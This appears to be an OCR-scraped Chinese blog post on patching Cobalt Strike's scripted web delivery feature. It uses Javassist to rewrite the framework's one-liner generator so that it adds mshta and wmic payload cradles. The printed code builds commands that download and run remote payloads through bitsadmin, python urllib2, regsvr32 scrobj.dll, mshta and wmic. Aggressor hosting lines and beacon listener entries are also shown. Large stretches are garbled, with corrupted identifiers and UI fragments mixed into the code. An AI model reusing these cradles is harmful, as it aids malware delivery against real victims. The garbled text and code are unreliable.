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£ Cobal Strike BUEF2H, BAIRIUERIREEE5EA 7L Script Web Delivery, #1TE:

Listener: :test - Add
Type: powershel =
bitsadmin

powershell

python
regsvr32

mMBEEERLASFTF site, REESADT copy kL FAILUEGSERIHK, BE aggressor AR ARESCILXMNINEE, &M copy LIERE url, F&E®S, BT —IRRE, £2E CS #EE, grep 7—
B, EME common.CommonUtils, &Y OnelLiner Fi%:

public static String Oneliner(String url, String type)
{
if ("kitsadmin".equals{type)) |
String £ = garbage("temp”);
return "cmd.exe /c bitsadmin /ftransfer " + £ + " " 4+ url + " FAPPDATRAR\N" 4+ £ 4+ ".exesiAPPDATRE: " + £ + ".exesdel %LAPPDRL]
l
if ("powershell".equals{typel) |
return PowerShellOneLiner{url);
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]
if ("python".equals{type)) |
return "python -c ZV"import urllik2; exec urllikZ.urlopen('™ + url + "").read();\"";

}
if ("regsvri2".equals{type)) |
return "regsvri2 /3 /n Ju JSi:" + url + " scrobkj.dll™;

}

prin;_errar{"'" + type + "' for URL "™ + url + "' does not have a one-liner™);
throw new RuntimeException(™'™ + type + "' for URL "™ + url + "' does not have a one-liner™):;
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0x01 {£F javassist {E£X class

Javassist B—NEETSIREFTHRSIELE, BITCHIEREZINEN class {18, BT & javassist , #iE— java 112, ARIIESA javassist &,

New > :hangeclass;

Go Into Iva.io.I0Exception;

Open in New Window . . .
P Iivassist.CannotCompileException;

Open Type Hierarchy F4 \vassist .ClassPool;

Show In N&EW P |vassist.CtClass:
Iivassist.CtMethod;

i=! Copy & C |vassist.NotFoundException;

5= Copy Qualified Name

“ Paste gp\y GSS change {

wblic static void main(String[] args)
& Delete > updateMethod();


https://evi1cg.github.io/usr/uploads/2018/06/93915533.png
https://github.com/jboss-javassist/javassist/releases
https://evi1cg.github.io/usr/uploads/2018/06/642698054.png

Build Path > &= Link Source... 1

Source &S » &1 New Source Folder...
Refactor T >

.assPool(true);
z® Use as Source Folder AR T

- java.util.List");
=3 Import... =« Add External Archives...ﬁ

1 Export... =\, Add Libraries...

<" Refresh F5| & Configure Build Path... %

Close Unrelated Projects 52

FAIOTBEE RS mshta http://host/test.png HIFTTUSRIEK payload, BILAER— MR TIRN:

package changeclass;
import java.io.IOException;

import javassist.CannotCompileException;
import javassist.ClassPool;

import javassist.CtClass;

import javassist.CtMethod;

import javassist.NotFoundException;

public class change {
public static void main(String[] args) {
updateMethod();
}

public static void updateMethod(){

try {
ClassPool cPool = new ClassPool(true);
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//cPool. importPackage("java.util.List");

// W Ecobaltstrike. jar X117 &
cPool.insertClassPath("/tmp/cobaltstrike.jar");
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CtClass cClass = cPool.get("common.CommonUtils");
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CtMethod cMethod = cClass.getDeclaredMethod("OneLiner");
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cMethod.setBody("{ if (\"bitsadmin\".equals($2)) {"

+ "String f = garbage(\"temp\");"

+ "return \"cmd.exe /c bitsadmin /transfer \" + f + \" \" + $1 + \" %APPDATA%Z\\\\\" + f + \".exe&%APPDATA%\\\\\" + f + \".exe&del %APPDATA%\\\\\" + f + \".exe\";}"

+ "if (\"powershell\".equals($2)) {"
+ "return PowerShellOnelLiner($1);}"

+ "if (\"python\".equals($2)) {"

+ "return \"python -c \\\"import urllib2; exec urllib2.urlopen('\" + $1 + \"').read();\\\"\";}"

+ "if (\"regsvr32\".equals($2)) {"

+ "return \"regsvr32 /s /n /u /i:\" + $1 + \" scrobj.dll\";}"

+ "if (\"mshta\".equals($2)) {"
+ "return \"mshta \" + $1;}"
+ "if (\"wmic\".equals($2)) {"

+ " return \"wmic os get /format:\\\"\" + $1 + \"\\\"\";}"

+ "print_error(\"'\" + $2 + \"' for URL "\" + $1 + \"' does not have a one-liner\");"

+ "throw new RuntimeException(\"'\" + $2 + \"' for URL "\" + $1 + \"' does not have a one-liner\");}");

// B it H R
cClass.writeFile("/tmp/");

} catch (NotFoundException e) {
e.printStackTrace();

} catch (CannotCompileException e) {
e.printStackTrace();

} catch (IOException e) {
e.printStackTrace();
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"return \"cmd.exe /c bitsadmin /transfer \" + f + \" \" + $1 + \" ¥APPDATAX\\\\\" + f + \".exe&%APPDA1
"i1f (\"powershell\".equals($2)) {"

"return PowerShellOnelLiner($1);}"

"if (\"python\".equals($2)) {"

"return \"python -c \\\"import urllib2; exec urllib2.urlopen('\" + $1 + \"").read();\\\"\";}"

"if (\"regsvr32\".equals($2)) {"

"return \"regsvr32 /s /n /u /i:\" + $1 + \" scrobj.dl1\";}"

"if (\"mshta\".equals($2)) {"

"return \"mshta \" + $1;}"

"if (\"wmic\".equals($2)) {"

" return \"wmic os get /format:\\\"\" + $1 + \"\\\"\";}"

"print_error(\"'\" + $2 + \"' for URL '\" + $1 + \"' does not have a one-liner\");"

"throw new RuntimeException(\"'\" + $2 + \"' for URL '\" + $1 + \"' does not have a one-liner\");}");

+ 4+ + + + + + + + 4+ + + + A

//BRFERNXHF
cClass.writeFile("/Users/evilcg/Downloads/tmp/");

System.out.println("=======BR A EFT=========");
} catch (NotFoundException e) {
e.printStackTrace();
} catch (CannotCompileException e) {
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Problems Javadoc Declaration [E) Console 3% b 4 Efﬁ % b 2 & & [Ty 20
<terminated> change [Java Application] /Library/Java/JavaVirtualMachines/jdk1.8.0_60.jdk/Contents/Home/bin/java (2018%F6H27H T43:56:26)

1s
CommonUtils$1.class CommonUtils.class common
[:evi1cg@MacBookPro ~/Downloads/tmp

1s common
CommonUtils.class
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I class & CS #RY class #EF 7,
EARARHRREETE aggressor H site_host F1gERIA], FI0{ER wmic

site_host(%options["host"], %options["port"], %options["uri"], $data, "text/plain", "Scripted Web Delivery (wmic)");

{£F mshta

site_host(%options["host"], %options["port"], %options["htauri"], $htadata, "application/hta", "Scripted Web Delivery (mshta)");
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beacon.http-get /789 beacon beacon handler
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stagertd 7789 beacon beacon stager x64
beacon. http-post 7789 beacon beacon post handler
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CERIFF class TTLANXETE;

GIT : CS Chinese _support


https://evi1cg.github.io/usr/uploads/2018/06/aaaa.gif
https://github.com/ridter/CS_Chinese_support

